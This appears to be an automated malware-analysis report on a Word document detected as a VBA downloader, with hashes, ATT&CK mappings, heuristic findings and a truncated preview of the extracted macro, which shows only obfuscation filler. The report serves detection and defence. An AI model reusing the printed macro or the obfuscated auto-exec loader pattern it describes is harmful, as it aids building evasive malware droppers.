Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 93ba4b575a197818…

MALICIOUS

Office (OLE)

260.5 KB Created: 2019-10-10 12:22:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 0fddd038659cc16da89959ec7e481688 SHA-1: a314c923fa25a8ea846874ac92e9eacbfc26a55b SHA-256: 93ba4b575a197818365a2538dc452bc7fa6413e3d73da831c473f2e60b139176
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample contains critical heuristic firings indicating an obfuscated auto-exec VBA loader that uses CreateObject and execution sinks. ClamAV also detected it as a downloader. The VBA script, though heavily obfuscated with comments and truncated, likely attempts to download and execute a second-stage payload, as suggested by the 'CreateObject' and 'exec' sink firings.

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-7331202-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-7331202-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 73742 bytes
SHA-256: f816c6d316c25bec718008691b95a49d06dd0b0abe8fb4fe11000b9db53f9b22
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "c20729x14047"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "x05006b0052, 0, 0, MSForms, TextBox"
Attribute VB_Control = "c12030x4056c3, 1, 1, MSForms, TextBox"
Attribute VB_Control = "b0x6c829c0c15, 2, 2, MSForms, TextBox"
Attribute VB_Control = "c00cb900680x0, 3, 3, MSForms, TextBox"
Attribute VB_Control = "b50b40x7803b, 4, 4, MSForms, TextBox"
Attribute VB_Control = "c10955809c548, 5, 5, MSForms, TextBox"

Attribute VB_Name = "x1938c510x2"
Function cc01450x905c9()
On Error Resume Next
   c9510b410b0c6 = False
'Dynamic2191 Claudia Pine, Port Jadon, Norfolk Island Human208 Skiles Mills, West Adrianaland, Monaco
x7b2x2760bc7 = Round(x2504867002)
x0014104b03 = False
'Future1234 Rhiannon Neck, Vincenzatown, Iraq Investor6293 Bartell Forges, Lake Emmitt, Netherlands Antilles
x16b961b8033 = Round(c57301149c0)
b9x5c3043b0x = True
'Chief887 Jamaal Road, Corkeryside, Kiribati Investor7405 Strosin Mill, Port Shanon, Tokelau
c7x502100664 = Round(c5420104731)
b7492c82088 = True
'Lead53163 Zetta Flat, West Kellen, Saint Lucia Direct633 Patrick Circle, West Junior, Comoros
x60609b77087 = Round(c60920081601)
cx0926b28b35 = False
'Chief8658 Kristian Stravenue, New Simoneborough, Haiti Chief9878 Darian Ramp, Lake Gertrudemouth, Seychelles
x99b1700004b6 = Round(x996676x036)
c03002760808 = True
'Investor119 Giles Plain, Lake Archibald, Madagascar Human4701 Romaguera Gardens, South Zackary, Papua New Guinea
x03c0704470 = Round(b9008b50x67)
c05x00043b8 = False
'International7249 Kautzer Valley, Tiffanymouth, Russian Federation Regional914 Laurianne Key, North Bereniceburgh, Azerbaijan
c665907cc0x0 = Round(x3139x99c030)
cc7b7bb03609 = False
'Customer4844 Hyatt Valleys, East Nadia, Panama Direct3648 Larkin Row, Millerchester, Mayotte
c05b529xc00 = False
'Human696 Liliana Route, Justinahaven, Egypt Global20082 Hubert Ports, Keltonchester, Uganda
x47b09c502021 = Round(x86x680c514)
b001620694003 = False
'Direct915 Effertz Valley, South Adolphustown, Cameroon Internal61649 Kshlerin Squares, South Savanah, Kyrgyz Republic
c702050520612 = Round(c5040x58007)
x7xcx1404c0 = False
'Dynamic07763 Mireya Station, Shirleyfurt, Canada Human99093 Dibbert Court, Walkerview, Swaziland
b630x72865x00 = Round(cb22081804c)
x63x1b5030004 = True
'Forward40338 Tremblay Gateway, Maggiotown, Cambodia Future1663 Metz Greens, Prestonshire, Barbados
x0115cx2085x2 = Round(b06550b09813)
b330560c078 = True
'Regional94278 Shana Street, New Trystan, Mali Regional6448 Weimann Rapid, Ludwigmouth, Ireland
b40b1x01x50 = Round(x056105x53bb0)
b000307707x2 = False
'Product4766 Watsica Valley, East Pedroport, Russian Federation Investor239 Barney Grove, West Pansybury, Palau
b0499509330 = Round(xb804940x61)
b4501600x593b = False
'Central63960 Alek View, New Juanitachester, Palestinian Territory Legacy84610 Schimmel Port, Maggioport, Maldives
c77087663887 = Round(b3c090614c4)
c807300b402 = False
'Direct97512 Flo Branch, Port Clair, Austria Investor6688 Edwin Mission, Lake Kennith, Tunisia
   cb15792022006 = False
'Internal963 Carolina Turnpike, New Noe, Brazil Customer5431 Tamia Forest, East Alexander, Republic of Korea
xxx5cc7090189 = Round(x9cx878518cc7)
x852930c27425 = False
'District86338 Friesen Land, Grimesland, Virgin Islands, U.S. Product0345 Howe Common, Wilfredobury, Republic of Korea
x7740c961c66 = Round(x00x006c57757)
x21007771973 = True
'Investor51443 Herminia Manors, Port Danyka, Central African Republic Global876 Jose Common, Gaylordbury, South Africa
xc0x3274267 = Round(x00670b00360c)
c24640250517 = False
'Forward786 Irma Flat, Santinafurt, Kuwait Dynamic81945 Bonnie Ferry, Staceybury, Pitcairn Islands
x9409585105x3 = Round(xx10180bx6x06)
b21b08cb5x9 = False
'International3068 Barry Ramp, O'Keefeview, Estonia Chief06451 Bauch Underpass, Ma
... (truncated)

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